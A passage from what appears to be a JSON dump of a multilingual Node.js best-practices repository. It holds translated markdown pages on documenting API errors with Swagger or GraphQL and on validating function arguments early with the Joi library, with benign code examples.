    "content": "# 使用Swagger对API错误文档化\r\n\r\n\r\n### 一段解释\r\n\r\nREST API使用HTTP代码返回结果, API用户不仅绝对需要了解API schema, 而且还要注意潜在错误 – 调用方可能会捕获错误并巧妙地处理它。例如, 您的api文档可能提前指出, 当客户名称已经存在时, HTTP状态409将返回 (假设api注册新用户), 因此调用方可以相应地呈现给定情况下的最佳UX。Swagger是一个标准, 它定义了 API 文档的schema, 提供了一个生态系统的工具, 允许在线轻松创建文档, 请参阅下面的打印屏幕。\r\n\r\n### 博客引用: \"您必须告诉您的调用者什么错误可能发生\"\r\n 摘自博客 Joyent, 对于关键字 “Node.JS logging” ， 排名第一\r\n \r\n > 我们已经讨论了如何处理错误, 但是在编写新函数时, 如何将错误传递给调用您的函数的代码？\r\n...如果你不知道会发生什么错误或者不知道他们的意思, 那么你的程序就不可能是正确的, 除非是偶然的。所以, 如果你正在写一个新的函数, 你必须告诉你的调用者什么错误可以发生, 它们的意思是什么…\r\n\r\n \r\n ### 有用的工具: Swagger 在线文档创建工具\r\n![alt text](../../assets/images/swaggerDoc.png \"API error handling\")\r\n"
  },
  {
    "path": "sections/errorhandling/documentingusingswagger.french.md",
    "content": "# Documentez les erreurs de l'API à l'aide de Swagger ou GraphQL\n\n### Un paragraphe d'explication\n\nLes API REST renvoient des résultats à l'aide de codes d'état HTTP, il est absolument nécessaire que l'utilisateur de l'API soit informé non seulement du schéma de l'API, mais également des erreurs potentielles - l'appelant peut alors détecter une erreur et la gérer avec tact. Par exemple, la documentation de votre API peut indiquer à l'avance que l'état HTTP 409 est renvoyé lorsque le nom du client existe déjà (en supposant que l'API enregistre de nouveaux utilisateurs) afin que l'appelant puisse rendre en conséquence la meilleure expérience utilisateur pour la situation donnée. Swagger est une norme qui définit le schéma de la documentation de l'API offrant un éco-système d'outils permettant de créer facilement de la documentation en ligne, consulter les copies écrans ci-dessous.\n\nSi vous avez déjà adopté GraphQL pour vos points de terminaison de l'API, votre schéma contient déjà des garanties strictes quant à la nature des erreurs à rechercher ([celles décrites dans la spécification](https://facebook.github.io/graphql/June2018/#sec-Errors)) et comment elles doivent être traités par vos outils côté client. De plus, vous pouvez également les compléter avec une documentation basée sur des commentaires.\n\n### Exemple d'erreur GraphQL\n\n> Cet exemple utilise [SWAPI](https://graphql.org/swapi-graphql), l'API de Star Wars.\n\n```graphql\n# devrait échouer car l'id n'est pas valide\n{\n  film(id: \"1ZmlsbXM6MQ==\") {\n    title\n  }\n}\n```\n\n```json\n{\n  \"errors\": [\n    {\n      \"message\": \"Aucune entrée dans le cache local pour https://swapi.co/api/films/.../\",\n      \"locations\": [\n        {\n          \"line\": 2,\n          \"column\": 3\n        }\n      ],\n      \"path\": [\n        \"film\"\n      ]\n    }\n  ],\n  \"data\": {\n    \"film\": null\n  }\n}\n```\n\n### Citation de blog : « Vous devez dire à vos appelants quelles erreurs peuvent se produire »\n\nExtrait du blog de Joyent classé en 1ere position pour les mots clés “Node.js logging”\n\n > Nous avons parlé de la façon de gérer les erreurs, mais lorsque vous écrivez une nouvelle fonction, comment envoyez-vous des erreurs au code qui a appelé votre fonction ? … Si vous ne savez pas quelles erreurs peuvent se produire ou si vous ne savez pas ce qu'elles signifient, alors votre programme ne peut être correct que par accident. Donc, si vous écrivez une nouvelle fonction, vous devez dire à vos appelants quelles erreurs peuvent se produire et ce qu'elles signifient…\n\n### Outil utile : créateur de documentation en ligne Swagger\n\n![Schéma d'API Swagger](../../assets/images/swaggerDoc.png \"Gestion des erreurs de l'API\")\n"
  },
  {
    "path": "sections/errorhandling/documentingusingswagger.japanese.md",
    "content": "# Swagger または GraphQL を利用して API のエラーをドキュメント化する\r\n\r\n### 一段落説明\r\n\r\nREST API は HTTP ステータスコードを利用して結果を返しますが、API の利用者は、API のスキーマだけでなく潜在的なエラーについても意識しておくことが絶対に必要です ー そうすることで、利用者がエラーを捕捉して機転の利いた処理をできるかもしれません。例えばAPI ドキュメントに、（API が新規ユーザーを登録しようとしていると仮定して）顧客名が既に存在する場合に、HTTP ステータス 409 が返されることを前もって記載しておくことで、呼び出し元はそれに応じて最適な UX を提供することができるようになります。Swagger は API ドキュメントのスキーマを定義する標準仕様であり、オンラインで簡単にドキュメントを作成することを可能にするツール群を提供しています。下部のスクリーンショットを参照して下さい。\r\n\r\nもし既に API エンドポイントとして GraphQL を採用している場合、スキーマは、エラーがどのように見えるか（[仕様書に記載されています](https://facebook.github.io/graphql/June2018/#sec-Errors)）や、クライアントサイドのツールでどのように処理されるべきかについて、厳密な保証をしています。さらに、コメントベースのドキュメントでそれらを補足することもできます。\r\n\r\n### GraphQL エラー例\r\n\r\n> この例は、スターウォーズ API として知れられている [SWAPI](https://graphql.org/swapi-graphql) を使用しています\r\n\r\n```graphql\r\n# id が無効な値のため、失敗するはずです\r\n{\r\n  film(id: \"1ZmlsbXM6MQ==\") {\r\n    title\r\n  }\r\n}\r\n```\r\n\r\n```json\r\n{\r\n  \"errors\": [\r\n    {\r\n      \"message\": \"No entry in local cache for https://swapi.co/api/films/.../\",\r\n      \"locations\": [\r\n        {\r\n          \"line\": 2,\r\n          \"column\": 3\r\n        }\r\n      ],\r\n      \"path\": [\r\n        \"film\"\r\n      ]\r\n    }\r\n  ],\r\n  \"data\": {\r\n    \"film\": null\r\n  }\r\n}\r\n```\r\n\r\n### ブログ引用: \"You have to tell your callers what errors can happen\"（どのようなエラーが起こりうるか、呼び出す側に示さなければなりません）\r\n\r\nブログ Joyent（“Node.js logging”というキーワードで 1 位）より\r\n\r\n > これまでエラー処理の方法について話してきましたが、新たな関数を書くときに、どのようにしてその関数を呼び出したコードにエラーを届けるのでしょうか？…もしどのようなエラーが起こりうるかを知らなかったり、またそのエラーが意味することがわからなかった場合、プログラムは、偶然を除けば正しいものにはなりえません。ですから、もしあなたが新たな関数を書くのであれば、どのようなエラーが起こりうるか、そしてそれらの意味することを呼び出し側に示さなければなりません…\r\n\r\n### 便利ツール: Swagger Online Documentation Creator\r\n\r\n![Swagger API スキーマ](../../assets/images/swaggerDoc.png \"API エラー処理\")\r\n"
  },
  {
    "path": "sections/errorhandling/documentingusingswagger.korean.md",
    "content": "# Document API errors using Swagger or GraphQL\r\n\r\n### One Paragraph Explainer\r\n\r\nREST APIs return results using HTTP status codes, it’s absolutely required for the API user to be aware not only about the API schema but also about potential errors – the caller may then catch an error and tactfully handle it. For example, your API documentation might state in advance that HTTP status 409 is returned when the customer name already exists (assuming the API register new users) so the caller can correspondingly render the best UX for the given situation. Swagger is a standard that defines the schema of API documentation offering an eco-system of tools that allow creating documentation easily online, see print screens below\r\n\r\nIf you have already adopted GraphQL for your API endpoints, your schema already contains strict guarantees as to what errors should look like ([outlined in the spec](https://facebook.github.io/graphql/June2018/#sec-Errors)) and how they should be handled by your client-side tooling. In addition, you can also supplement them with comment-based documentation.\r\n\r\n### GraphQL Error Example\r\n\r\n> This example uses [SWAPI](https://graphql.org/swapi-graphql), the Star Wars API.\r\n\r\n```graphql\r\n# should fail because id is not valid\r\n{\r\n  film(id: \"1ZmlsbXM6MQ==\") {\r\n    title\r\n  }\r\n}\r\n```\r\n\r\n```json\r\n{\r\n  \"errors\": [\r\n    {\r\n      \"message\": \"No entry in local cache for https://swapi.co/api/films/.../\",\r\n      \"locations\": [\r\n        {\r\n          \"line\": 2,\r\n          \"column\": 3\r\n        }\r\n      ],\r\n      \"path\": [\r\n        \"film\"\r\n      ]\r\n    }\r\n  ],\r\n  \"data\": {\r\n    \"film\": null\r\n  }\r\n}\r\n```\r\n\r\n### Blog Quote: \"You have to tell your callers what errors can happen\"\r\n\r\nFrom the blog Joyent, ranked 1 for the keywords “Node.js logging”\r\n\r\n > We’ve talked about how to handle errors, but when you’re writing a new function, how do you deliver errors to the code that called your function? …If you don’t know what errors can happen or don’t know what they mean, then your program cannot be correct except by accident. So if you’re writing a new function, you have to tell your callers what errors can happen and what they mean…\r\n\r\n### Useful Tool: Swagger Online Documentation Creator\r\n\r\n![Swagger API Scheme](../../assets/images/swaggerDoc.png \"API error handling\")\r\n"
  },
  {
    "path": "sections/errorhandling/documentingusingswagger.md",
    "content": "# Document API errors using OpenAPI Specification (earlier known as Swagger) or GraphQL\r\n\r\n### One Paragraph Explainer\r\n\r\nREST APIs return results using HTTP status codes, it’s absolutely required for the API user to be aware not only about the API schema but also about potential errors – the caller may then catch an error and tactfully handle it. For example, your API documentation might state in advance that HTTP status 409 is returned when the customer name already exists (assuming the API register new users) so the caller can correspondingly render the best UX for the given situation. OpenAPI (eka Swagger) is a standard that defines the schema of API documentation offering an eco-system of tools that allow creating documentation easily online, see print screens below\r\n\r\nIf you have already adopted GraphQL for your API endpoints, your schema already contains strict guarantees as to what errors should look like ([outlined in the spec](https://facebook.github.io/graphql/June2018/#sec-Errors)) and how they should be handled by your client-side tooling. In addition, you can also supplement them with comment-based documentation.\r\n\r\n### GraphQL Error Example\r\n\r\n> This example uses [SWAPI](https://graphql.org/swapi-graphql), the Star Wars API.\r\n\r\n```graphql\r\n# should fail because id is not valid\r\n{\r\n  film(id: \"1ZmlsbXM6MQ==\") {\r\n    title\r\n  }\r\n}\r\n```\r\n\r\n```json\r\n{\r\n  \"errors\": [\r\n    {\r\n      \"message\": \"No entry in local cache for https://swapi.co/api/films/.../\",\r\n      \"locations\": [\r\n        {\r\n          \"line\": 2,\r\n          \"column\": 3\r\n        }\r\n      ],\r\n      \"path\": [\r\n        \"film\"\r\n      ]\r\n    }\r\n  ],\r\n  \"data\": {\r\n    \"film\": null\r\n  }\r\n}\r\n```\r\n\r\n### Blog Quote: \"You have to tell your callers what errors can happen\"\r\n\r\nFrom the blog Joyent, ranked 1 for the keywords “Node.js logging”\r\n\r\n > We’ve talked about how to handle errors, but when you’re writing a new function, how do you deliver errors to the code that called your function? …If you don’t know what errors can happen or don’t know what they mean, then your program cannot be correct except by accident. So if you’re writing a new function, you have to tell your callers what errors can happen and what they mean…\r\n\r\n### Useful Tool: Swagger Online Documentation Creator\r\n\r\n![Swagger API Scheme](../../assets/images/swaggerDoc.png \"API error handling\")\r\n"
  },
  {
    "path": "sections/errorhandling/documentingusingswagger.polish.md",
    "content": "# Dokumentuj błędy interfejsu API za pomocą Swagger lub GraphQL\n\n### Wyjaśnienie jednym akapitem\n\nREST API zwracają wyniki przy użyciu kodów stanu HTTP, użytkownik API musi bezwzględnie wiedzieć nie tylko o schemacie interfejsu API, ale także o potencjalnych błędach - osoba wywołująca może wtedy złapać błąd i taktownie go obsłużyć. Na przykład dokumentacja interfejsu API może z góry stwierdzać, że status HTTP 409 jest zwracany, gdy nazwa klienta już istnieje (zakładając, że interfejs API rejestruje nowych użytkowników), aby osoba wywołująca mogła odpowiednio wyświetlić najlepszy UX dla danej sytuacji. Swagger to standard definiujący schemat dokumentacji API oferujący ekosystem narzędzi umożliwiających łatwe tworzenie dokumentacji online, patrz ekrany drukowania poniżej.\n\nJeśli już przyjąłeś GraphQL dla punktów końcowych API, twój schemat zawiera już ścisłe gwarancje, jak powinny wyglądać błędy ([przedstawione w specyfikacji](https://facebook.github.io/graphql/June2018/#sec-Errors)) i jak powinny być obsługiwane przez narzędzia po stronie klienta. Ponadto można również uzupełnić je dokumentacją opartą na komentarzach.\n\n### Przykład błędu GraphQL\n\n> Ten przykład używa [SWAPI](https://graphql.org/swapi-graphql), API Star Wars.\n\n```graphql\n# should fail because id is not valid\n{\n  film(id: \"1ZmlsbXM6MQ==\") {\n    title\n  }\n}\n```\n\n```json\n{\n  \"errors\": [\n    {\n      \"message\": \"No entry in local cache for https://swapi.co/api/films/.../\",\n      \"locations\": [\n        {\n          \"line\": 2,\n          \"column\": 3\n        }\n      ],\n      \"path\": [\n        \"film\"\n      ]\n    }\n  ],\n  \"data\": {\n    \"film\": null\n  }\n}\n```\n\n### Cytat z bloga: \"You have to tell your callers what errors can happen\"\n\nZ bloga Joyent, w rankingu 1 dla słów kluczowych “Node.js logging”\n\n > We’ve talked about how to handle errors, but when you’re writing a new function, how do you deliver errors to the code that called your function? …If you don’t know what errors can happen or don’t know what they mean, then your program cannot be correct except by accident. So if you’re writing a new function, you have to tell your callers what errors can happen and what they mean…\n\n### Przydatne narzędzie: Swagger Online Documentation Creator\n\n![Swagger API Scheme](../../assets/images/swaggerDoc.png \"API error handling\")\n"
  },
  {
    "path": "sections/errorhandling/documentingusingswagger.russian.md",
    "content": "# Документироваие ошибок API при использовании Swagger или GraphQL\r\n\r\n### Объяснение в один абзац\r\n\r\nAPI-интерфейсы REST возвращают результаты с использованием кодов состояния HTTP, поэтому пользователь API должен знать не только о схеме API, но и о возможных ошибках - вызывающий может затем поймать ошибку и тактично ее обработать. Например, в документации по API может быть заранее указано, что HTTP-статус 409 возвращается, когда имя клиента уже существует (при условии, что API регистрирует новых пользователей), поэтому вызывающая сторона может соответственно отобразить лучший UX для данной ситуации. Swagger - это стандарт, определяющий схему документации API, предлагающую эко-систему инструментов, позволяющую легко создавать документацию в Интернете, см. экраны печати ниже.\r\n\r\nЕсли вы уже приняли GraphQL для своих конечных точек API, ваша схема уже содержит строгие гарантии того, как должны выглядеть ошибки ([описано в спецификации](https://facebook.github.io/graphql/June2018/#sec-Errors )) и как они должны обрабатываться вашими инструментами на стороне клиента. Кроме того, вы также можете дополнить их документацией на основе комментариев.\r\n\r\n### Пример ошибки GraphQL\r\n\r\n> В этом примере используется [SWAPI](https://graphql.org/swapi-graphql), API-интерфейс Star Wars.\r\n\r\n```graphql\r\n# should fail because id is not valid\r\n{\r\n  film(id: \"1ZmlsbXM6MQ==\") {\r\n    title\r\n  }\r\n}\r\n```\r\n\r\n```json\r\n{\r\n  \"errors\": [\r\n    {\r\n      \"message\": \"No entry in local cache for https://swapi.co/api/films/.../\",\r\n      \"locations\": [\r\n        {\r\n          \"line\": 2,\r\n          \"column\": 3\r\n        }\r\n      ],\r\n      \"path\": [\r\n        \"film\"\r\n      ]\r\n    }\r\n  ],\r\n  \"data\": {\r\n    \"film\": null\r\n  }\r\n}\r\n```\r\n\r\n### Цитата блога: \"Вы должны сообщить своим абонентам, какие ошибки могут произойти\"\r\n\r\nИз блога Joyent, занял 1 место по ключевым словам \"Node.js logging\"\r\n\r\n> Мы говорили о том, как обрабатывать ошибки, но когда вы пишете новую функцию, как вы доставляете ошибки в код, вызвавший вашу функцию? … Если вы не знаете, какие ошибки могут произойти, или не знаете, что они означают, то ваша программа может быть исправлена ​​только случайно. Поэтому, если вы пишете новую функцию, вы должны сообщить своим абонентам, какие ошибки могут произойти и что они означают …\r\n\r\n### Полезный инструмент: Swagger Online Documentation Creator\r\n\r\n![Swagger API Scheme](../../assets/images/swaggerDoc.png \"API error handling\")\r\n"
  },
  {
    "path": "sections/errorhandling/failfast.basque.md",
    "content": "# Huts eragin azkar, balidatu argudioak liburutegi dedikatu baten laguntzarekin\r\n\r\n### Azalpena\r\n\r\nDenok dakigu argudioak egiaztatzea eta azkar huts egitea garrantzitsua dela ezkutuko erroreak ekiditeko (ikusi ereduaren aurkako kodearen adibidea behean). Bestela, irakurri zerbait programazio esplizituaren eta babes programazioaren gainean. Errealitatean, hori ekiditeko ohitura daukagu, kodea idazteak suposatzen duen gogaikarritasuna dela eta (adibidez pentsatu posta elektronikoa eta datak bezalako alorrak dituen JSON objektu hierarkiko bat balioztatzea). Joi eta Validator bezalako liburutegiek asko leuntzen dute lan hori\r\n\r\n### Wikipedia: programazio defentsiboa\r\n\r\nProgramazio defentsiboa softwarea eta iturburu kodea hobetzeko ikuspuntua da, kalitate orokorrari dagokionez, software errore eta arazo kopurua murriztuz. Iturburu kodea ulergarria izango bada, irakurgarria eta ulergarria izan behar da kode auditoria batean onartua izan dadin. Softwarea aurreikusteko moduko eran jokatzeko egin behar da, ustekabeko sarrerak edo erabiltzaile ekintzak gertatu arren\r\n\r\n### Kode adibidea: balioztatu JSON sarrera koplexua ‘Joi’ erabiliz\r\n\r\n```javascript\r\nvar kideEskema = Joi.object().keys({\r\n  pasahitza: Joi.string().regex(/^[a-zA-Z0-9]{3,30}$/),\r\n  jaioteguna: Joi.number().integer().min(1900).max(2013),\r\n  postaElektronikoa: Joi.string().email(),\r\n});\r\n\r\nfunction kideBerriaGehitu(kideBerria) {\r\n  // lehenengo baieztapena dator\r\n  Joi.assert(kideBerria, kideEskema); //jaurti balioztatzeak huts egiten badu\r\n  // bestelako logika hemen\r\n}\r\n```\r\n\r\n### Anti eredua: balioztatze ezak errore kaskarrak dakartza\r\n\r\n<details>\r\n<summary><strong>Javascript</strong></summary>\r\n\r\n```javascript\r\n// deskontua positiboa bada, bidali erabiltzailea bere deskontu tiketak inprimatzera\r\nfunction bidaliDeskontuTiketakInprimatzera(httpResponse, kidea, deskontua) {\r\n  if (deskontua != 0) {\r\n    httpResponse.redirect(`/deskontuInpresioBistaratzea/${kidea.id}`);\r\n  }\r\n}\r\n\r\nbidaliDeskontuTiketakInprimatzera(httpResponse, kiderenBat);\r\n// deskontu parametroa pasatzea ahaztuta, orduan zergatik bidali da erabiltzailea deskontu pantailara?\r\n```\r\n\r\n</details>\r\n\r\n<details>\r\n<summary><strong>Typescript</strong></summary>\r\n\r\n```typescript\r\n// deskontua positiboa bada bidali erabiltzailea bere deskontu tiketak inprimatzera\r\nfunction bidaliDeskontuTiketakInprimatzera(\r\n  httpResponse: Response,\r\n  kidea: Member,\r\n  deskontua: number\r\n) {\r\n  if (deskontua != 0) {\r\n    httpResponse.redirect(`/deskontuInpresioBistaratzea/${kidea.id}`);\r\n  }\r\n}\r\n\r\nbidaliDeskontuTiketakInprimatzera(httpResponse, kiderenBat, -12);\r\n// deskontu parametro negatiboa pasatu dugu, We passed a negative parameter discount, orduan zergatik bidali da erabiltzailea deskontu pantailara?\r\n```\r\n\r\n</details>\r\n\r\n### Blog aipua: \"Errore hauek zuzenean jaurti beharko zenituzke\"\r\n\r\nJoyent bloga\r\n\r\n> Kasu degeneratu bat da norbaitek funtzio asinkrono bat callback gabe deitzea atzera deirik egin gabe. Errore horiek berehala jaurti beharko zenituzke programa apurtuta baitago eta hori arazteak gutxienez pila arrastoa eta errorearen lekuko fitxategia berreskuratzea eskatzen du. Hori egiteko, funtzioaren hasieran argudio guztien motak balioztatzea gomendatzen dugu\r\n"
  },
  {
    "path": "sections/errorhandling/failfast.brazilian-portuguese.md",
    "content": "# Falhe rápido, valide argumentos usando uma biblioteca dedicada\r\n\r\n### Explicação em um Parágrafo\r\n\r\nNós todos sabemos como verificar argumentos e falhar rapidamente é importante para evitar bugs ocultos (veja exemplo de código antipadrão abaixo). Se não, leia sobre programação explícita e programação defensiva. Na realidade, tendemos a evitá-lo devido ao incômodo de codificá-lo (por exemplo, pensar em validar o objeto JSON hierárquico com campos como e-mail e datas) - bibliotecas como o Joi e o Validator tornam esta tediosa tarefa muito fácil.\r\n\r\n### Wikipédia: Programação Defensiva\r\n\r\nA programação defensiva é uma abordagem para melhorar o software e o código-fonte, em termos de qualidade geral - reduzindo o número de bugs e problemas de software. Tornando o código-fonte compreensível - o código-fonte deve ser legível e compreensível, de modo que seja aprovado em uma auditoria de código. Fazer com que o software se comporte de maneira previsível, apesar de entradas inesperadas ou ações do usuário.\r\n\r\n### Exemplo de código: validando uma entrada JSON complexa usando \"Joi\"\r\n\r\n```javascript\r\nvar memberSchema = Joi.object().keys({\r\n password: Joi.string().regex(/^[a-zA-Z0-9]{3,30}$/),\r\n birthyear: Joi.number().integer().min(1900).max(2013),\r\n email: Joi.string().email()\r\n});\r\n\r\nfunction addNewMember(newMember) {\r\n // afirmações vêm em primeiro lugar\r\n Joi.assert(newMember, memberSchema); //lança se a validação falhar\r\n // outra lógica aqui\r\n}\r\n\r\n```\r\n\r\n### Anti-padrão: nenhuma validação gera erros desagradáveis\r\n\r\n```javascript\r\n// Se o desconto for positivo, vamos redirecionar o usuário para imprimir seus cupons de desconto\r\nfunction redirectToPrintDiscount(httpResponse, member, discount) {\r\n    if (discount != 0) {\r\n        httpResponse.redirect(`/discountPrintView/${member.id}`);\r\n    }\r\n}\r\n\r\nredirectToPrintDiscount(httpResponse, someMember);\r\n// esqueci de passar o desconto de parâmetro, por que diabos o usuário foi redirecionado para a tela de desconto?\r\n\r\n```\r\n\r\n### Citação de Blog: \"Você deve lançar esses erros imediatamente\"\r\n\r\n Do blog: Joyent\r\n\r\n > Um caso degenerado é quando alguém chama uma função assíncrona, mas não passa uma callback. Você deve lançar esses erros imediatamente, pois o programa está quebrado e a melhor chance de encontrar erros envolve obter pelo menos um rastreamento de stack e, idealmente, um arquivo principal no ponto do erro. Para fazer isso, recomendamos a validação dos tipos de todos os argumentos no início da função.\r\n"
  },
  {
    "path": "sections/errorhandling/failfast.chinese.md",
    "content": "# 快速报错，使用专用库验证参数\r\n\r\n\r\n### 一段解释\r\n\r\n我们都知道如何检查参数和快速报错对于避免隐藏的错误很重要（见下面的反模式代码示例）。如果没有，请阅读显式编程和防御性编程。在现实中，由于对其编码是件恼人的事情（比如考虑验证分层的JSON对象，它包含像email和日期这样的字段），我们倾向于避免做这样的事情 – 像Joi这样的库和验证器轻而易举的处理这个乏味的任务。\r\n\r\n### 维基百科: 防御性编程\r\n\r\n防御性编程是一种改进软件和源代码的方法, 在以下方面: 一般质量 – 减少软件 bug 和问题的数量。使源代码可理解 – 源代码应该是可读的和可理解的, 以便在代码审核中得到批准。尽管会有意外输入或用户操作, 但使软件的行为具有可预知的方式。  \r\n\r\n\r\n\r\n### 代码示例: 使用‘Joi’验证复杂的JSON输入\r\n\r\n```javascript\r\nvar memberSchema = Joi.object().keys({\r\n password: Joi.string().regex(/^[a-zA-Z0-9]{3,30}$/),\r\n birthyear: Joi.number().integer().min(1900).max(2013),\r\n email: Joi.string().email()\r\n});\r\n \r\nfunction addNewMember(newMember)\r\n{\r\n //assertions come first\r\n Joi.assert(newMember, memberSchema); //throws if validation fails\r\n //other logic here\r\n}\r\n\r\n```\r\n\r\n### 反模式: 没有验证会产生令人讨厌的错误\r\n\r\n```javascript\r\n//假如折扣为正，重定向用户去打印他的折扣优惠劵\r\nfunction redirectToPrintDiscount(httpResponse, member, discount)\r\n{\r\n    if(discount != 0)\r\n        httpResponse.redirect(`/discountPrintView/${member.id}`);\r\n}\r\n \r\nredirectToPrintDiscount(httpResponse, someMember);\r\n//忘记传递参数discount, 为什么用户被重定向到折扣页面？\r\n\r\n```\r\n\r\n### 博客引用: \"您应该立即抛出这些错误\"\r\n 摘自博客: Joyent\r\n \r\n > 一个退化情况是有人调用一个异步函数但没有传递一个回调方法。你应该立即抛出这些错误, 因为程序有了错误, 最好的调试它的时机包括，获得至少一个stack trace， 和理想情况下，核心文件里错误的点。为此, 我们建议在函数开始时验证所有参数的类型。"
  },
  {
    "path": "sections/errorhandling/failfast.french.md",
    "content": "# Échouez rapidement, valider les arguments à l'aide d'une bibliothèque dédiée\n\n### Un paragraphe d'explication\n\nNous savons tous combien il est important de vérifier les arguments et d'échouer rapidement pour éviter les bogues cachés (voir le contre exemple de code ci-dessous). Si ce n'est pas le cas, renseignez-vous sur la programmation explicite et la programmation défensive. En réalité, nous avons tendance à l'éviter en raison de la pénibilité de son codage (par exemple, pensez à valider un objet JSON hiérarchique avec des champs comme l'email et les dates) - des bibliothèques comme Joi et Validator transforment cette tâche fastidieuse en un jeu d'enfant.\n\n### Wikipedia : la programmation défensive\n\nLa programmation défensive est une approche pour améliorer les logiciels et le code source, en termes de qualité générale - en réduisant le nombre de bogues et de problèmes logiciels. Rendre le code source compréhensible - le code source doit être lisible et compréhensible afin qu'il soit approuvé lors d'un audit de code. Faire en sorte que le logiciel se comporte de manière prévisible malgré des entrées ou des actions utilisateur inattendues.\n\n### Exemple de code : validation d'une entrée JSON complexe à l'aide de « Joi »\n\n```javascript\nconst memberSchema = Joi.object().keys({\n password: Joi.string().regex(/^[a-zA-Z0-9]{3,30}$/),\n birthyear: Joi.number().integer().min(1900).max(2013),\n email: Joi.string().email()\n});\n\nfunction addNewMember(newMember) {\n // les vérifications sont faites en premier\n Joi.assert(newMember, memberSchema); // lève une exception si la validation échoue\n // d'autres logiques ici\n}\n```\n\n\n\n### Contre exemple de code : aucune validation ne donne de méchants bogues\n\n<details>\n<summary><strong>Javascript</strong></summary>\n\n```javascript\n// si discount est positif, redirige l'utilisateur pour imprimer ses coupons de réduction\nfunction redirectToPrintDiscount(httpResponse, member, discount) {\n    if (discount != 0) {\n        httpResponse.redirect(`/discountPrintView/${member.id}`);\n    }\n}\n\nredirectToPrintDiscount(httpResponse, someMember);\n// J'ai oublié de passer le paramètre discount, pourquoi diable l'utilisateur a-t-il été redirigé vers l'écran de remise ?\n```\n</details>\n\n<details>\n<summary><strong>Typescript</strong></summary>\n\n```typescript\n// si discount est positif, redirige l'utilisateur pour imprimer ses coupons de réduction\nfunction redirectToPrintDiscount(httpResponse: Response, member: Member, discount: number) {\n  if (discount != 0) {\n    httpResponse.redirect(`/discountPrintView/${member.id}`);\n  }\n}\n\nredirectToPrintDiscount(httpResponse, someMember, -12);\n// Nous avons passé un paramètre discount négatif, pourquoi diable l'utilisateur a-t-il été redirigé vers l'écran de remise ?\n```\n</details>\n\n### Citation de blog : « Vous devriez rejeter ces erreurs immédiatement »\n\n Extrait du blog de Joyent\n\n > Un cas de dégénération est celui où quelqu'un appelle une fonction asynchrone mais ne passe pas de fonction de rappel. Vous devriez rejeter ces erreurs immédiatement car le programme est cassé et la meilleure chance de le déboguer implique d'obtenir au moins une trace de pile et idéalement un fichier core au niveau de l'erreur. Pour ce faire, nous vous recommandons de valider les types de tous les arguments au début de la fonction.\n"
  },
  {
    "path": "sections/errorhandling/failfast.japanese.md",
    "content": "# 専用のライブラリを利用して引数の検証を高速に行う\r\n\r\n### 一段落説明\r\n\r\n隠れたバグを避けるためには、引数をチェックすること、そして高速に失敗することが重要であると誰もが知っています（下記のアンチパターンコード例を参照）。もし知らないのであれば、明示的プログラミングと防御的プログラミングについて読んでみてください。実際には、コーディングをするのが面倒なので避けがちですが（例えば、メールアドレスや日時のようなフィールドを持つ階層的な JSON オブジェクトの検証をすることを考えてみてください）、Joi や Validator のようなライブラリはこの面倒なタスクを簡単にしてくれます。\r\n\r\n### Wikipedia「防御的プログラミング」\r\n\r\n防御的プログラミング（Defensive programming）は、ソフトウェアのバグや問題の数を減少させるという一般的な品質の観点において、ソフトウェアやソースコードを改善するためのアプローチです。ソースコードを理解しやすいものにすること ー コード監査で承認されるように、ソースコードは可読性が高く、わかりやすいものであるべきです。想定外の入力やユーザーアクションに対しても、ソフトウェアに予測可能な挙動をさせるべきです。\r\n\r\n### コード例: 「Joi」を利用して複雑な JSON 形式の入力を検証する\r\n\r\n```javascript\r\nvar memberSchema = Joi.object().keys({\r\n password: Joi.string().regex(/^[a-zA-Z0-9]{3,30}$/),\r\n birthyear: Joi.number().integer().min(1900).max(2013),\r\n email: Joi.string().email()\r\n});\r\n\r\nfunction addNewMember(newMember) {\r\n // アサーションがまず最初に来る\r\n Joi.assert(newMember, memberSchema); // もし検証が失敗したら例外を投げます\r\n // その他のロジックがここに来ます\r\n}\r\n```\r\n\r\n\r\n\r\n### アンチパターン: 検証をしないと厄介なバグが発生する\r\n\r\n<details>\r\n<summary><strong>Javascript</strong></summary>\r\n\r\n```javascript\r\n// もし discount が正の値なら、ユーザーを割引クーポンを発行するためにユーザーをリダイレクトさせましょう\r\nfunction redirectToPrintDiscount(httpResponse, member, discount) {\r\n    if (discount != 0) {\r\n        httpResponse.redirect(`/discountPrintView/${member.id}`);\r\n    }\r\n}\r\n\r\nredirectToPrintDiscount(httpResponse, someMember);\r\n// discount パラメータを渡すのを忘れてしまいました。一体なぜユーザーは割引クーポン発行画面へリダイレクトされたのでしょうか？\r\n```\r\n</details>\r\n\r\n<details>\r\n<summary><strong>Typescript</strong></summary>\r\n\r\n```typescript\r\n// もし discount が正の値なら、ユーザーを割引クーポンを発行するためにユーザーをリダイレクトさせましょう\r\nfunction redirectToPrintDiscount(httpResponse: Response, member: Member, discount: number) {\r\n  if (discount != 0) {\r\n    httpResponse.redirect(`/discountPrintView/${member.id}`);\r\n  }\r\n}\r\n\r\nredirectToPrintDiscount(httpResponse, someMember, -12);\r\n// discount パラメータとして負の値を渡しました。一体なぜユーザーは割引クーポン発行画面へリダイレクトされたのでしょうか？\r\n```\r\n</details>\r\n\r\n### ブログ引用: \"You should throw these errors immediately\"（エラーは直ちに投げるべきです）\r\n\r\nブログ Joyentより\r\n\r\n> 悪化したケースとして、非同期関数を呼び出したもののコールバックを渡さなかった場合があります。プログラムは壊れていますし、デバッグに最適なのは少なくともスタックトレースを取得、理想的にはエラーが発生した地点のコアファイルを取得することなので、このようなエラーは直ちに投げるべきです。これを行うために、関数の開始時にすべての引数の型を検証することをおすすめします。\r\n"
  },
  {
    "path": "sections/errorhandling/failfast.korean.md",
    "content": "# Fail fast, validate arguments using a dedicated library\r\n\r\n### One Paragraph Explainer\r\n\r\nWe all know how checking arguments and failing fast is important to avoid hidden bugs (see anti-pattern code example below). If not, read about explicit programming and defensive programming. In reality, we tend to avoid it due to the annoyance of coding it (e.g. think of validating hierarchical JSON object with fields like email and dates) – libraries like Joi and Validator turn this tedious task into a breeze.\r\n\r\n### Wikipedia: Defensive Programming\r\n\r\nDefensive programming is an approach to improve software and source code, in terms of General quality – reducing the number of software bugs and problems. Making the source code comprehensible – the source code should be readable and understandable so it is approved in a code audit. Making the software behave in a predictable manner despite unexpected inputs or user actions.\r\n\r\n### Code example: validating complex JSON input using ‘Joi’\r\n\r\n```javascript\r\nvar memberSchema = Joi.object().keys({\r\n password: Joi.string().regex(/^[a-zA-Z0-9]{3,30}$/),\r\n birthyear: Joi.number().integer().min(1900).max(2013),\r\n email: Joi.string().email()\r\n});\r\n\r\nfunction 